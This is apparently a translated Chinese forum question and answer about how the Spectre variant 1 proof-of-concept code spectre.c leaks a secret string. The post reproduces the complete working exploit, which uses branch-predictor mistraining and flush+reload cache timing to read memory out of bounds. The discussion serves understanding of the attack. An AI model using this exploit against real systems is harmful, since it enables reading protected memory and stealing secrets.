这段代码如何读取 "secret" 数据?

How does this code read the "secret" data?

我在文档中找到了这段代码。

文件名:spectre.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h>
#pragma optimize("gt", on)
#else
#include <x86intrin.h>
#endif
/* for rdtscp and clflush */
/* for rdtscp and clflush */
/******************************************************************** Victim code. ********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char *secret = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
    if (x < array1_size) {
        temp &= array2[array1[x] * 512];
    }
}
/******************************************************************** Analysis code ********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
    static int results[256];
    int tries, i, j, k, mix_i, junk = 0;
    size_t training_x, x;
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    for (i = 0; i < 256; i++)
        results[i] = 0;
    for (tries = 999; tries > 0; tries--) {
        /* Flush array2[256*(0..255)] from cache */
        for (i = 0; i < 256; i++)
            _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
        /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
        training_x = tries % array1_size;
        for (j = 29; j >= 0; j--) {
            _mm_clflush(&array1_size);
            for (volatile int z = 0; z < 100; z++)
            {}                                                                         /* Delay (can also mfence) */
            /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ /* Avoid jumps in case those tip off the branch predictor */
            x = ((j % 6) - 1) & ~0xFFFF;                                               /* Set x=FFF.FF0000 if j%6==0, else x=0 */
            x = (x | (x >> 16));                                                       /* Set x=-1 if j&6=0, else x=0 */
            x = training_x ^ (x & (malicious_x ^ training_x));
            /* Call the victim! */
            victim_function(x);
        }
        /* Time reads. Order is slightly mixed up to prevent stride prediction */
        for (i = 0; i < 256; i++) {
            mix_i = ((i * 167) + 13) & 255;
            addr = &array2[mix_i * 512];
            time1 = __rdtscp(&junk);
            junk = *addr;
            time2 = __rdtscp(&junk) - time1;
            if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
                results[mix_i]++; /* cache hit - add +1 to score for this value */
        }
        /* Locate highest & second-highest results results tallies in j/k */
        /* READ TIMER */
        /* MEMORY ACCESS TO TIME */
        /* READ TIMER & COMPUTE ELAPSED TIME */
        j = k = -1;
        for (i = 0; i < 256; i++) {
            if (j < 0 || results[i] >= results[j]) {
                k = j;
                j = i;
            }
            else if (k < 0 || results[i] >= results[k]) {
                k = i;
            }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
            break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
    }
    results[0] ^= junk; /* use junk so code above won't get optimized out*/
    value[0] = (uint8_t)j;
    score[0] = results[j];
    value[1] = (uint8_t)k;
    score[1] = results[k];
    /* default for malicious_x */
}
int main(int argc, const char **argv) {
    size_t malicious_x = (size_t)(secret - (char *)array1);
    int i, score[2], len = 51;
    uint8_t value[2];
    for (i = 0; i < sizeof(array2); i++)
        array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
    if (argc == 3) {
        sscanf(argv[1], "%p", (void **)(&malicious_x));
        malicious_x -= (size_t)array1; /* Convert input value into a pointer */
        sscanf(argv[2], "%d", &len);
    }
    printf("Reading %d bytes:\n", len);
    while (--len >= 0) {
        printf("Reading at malicious_x = %p... ", (void *)malicious_x);
        readMemoryByte(malicious_x++, value, score);
        printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
        printf("0x%02X='%c' score=%d    ", value[0],
            (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
        if (score[1] > 0)
            printf("(second best: 0x%02X score=%d)", value[1], score[1]);
        printf("\n");
    }
    return (0);
}

我通读了整个代码,并确保我理解每一行代码的作用。然后我试着一点一点地修改代码。但似乎无论我如何修改readMemoryByte()中的代码,程序都会失败或输出精度和准确度明显较低的结果。即使添加 printf() 语句或看似无用的赋值语句(如 temp += x)也会使程序混乱。

我不会要求对程序的工作原理进行完整描述,因为那样太宽泛了。我试图自己理解它。这是我的问题:

  1. 如果我删除对 victim_function() 的调用,所有程序输出都是错误的(没有成功读取到 secret)。为什么以及如何调用该调用?它所做的一切在逻辑上似乎什么都没有(除了变量 temp 之外没有写入任何其他地方未使用的值)但我不能省略它。

  2. 除了计算malicious_x的初始值外,全局变量secret不在任何地方使用。它的内容是如何访问的?似乎到处都有很好的边界检查,所以越界阅读看起来不太可能。它可能是从处理器缓存中完成的。如果是这样,那么我无法弄清楚 secret 的内容是如何发送到缓存的。

我已经在 Intel Clarkdale、Intel Ivy Bridge、Intel Haswell、Intel Skylake 和 Intel Kaby Lake 处理器上尝试了以上代码(目前我只能找到这些)。结果都一样

我会尽量根据我对幽灵的理解来回答你的两个问题。

  1. 删除对 victim_function() 的调用不会泄露秘密。是的,这是因为攻击基于缓存命中和未命中。 victim 函数在缓存和下一次(调用 victim_function 之后)中带来适当的页面(实际上是缓存行),当您尝试探测每个内存位置并记录所需的时间时,您可以确定 victim_function 访问了哪些内存位置。这意味着即使 victim 函数没有泄露信息 "explicitly",它也是通过缓存的侧通道泄露的。因此,如果您删除该调用,缓存将被刷新,您将无法获得任何秘密。

  2. 秘密作为索引传输到 array2 中,在受害者函数中使用。这就是 "representation" 的秘密进入缓存并可以被漏洞利用读取的方式。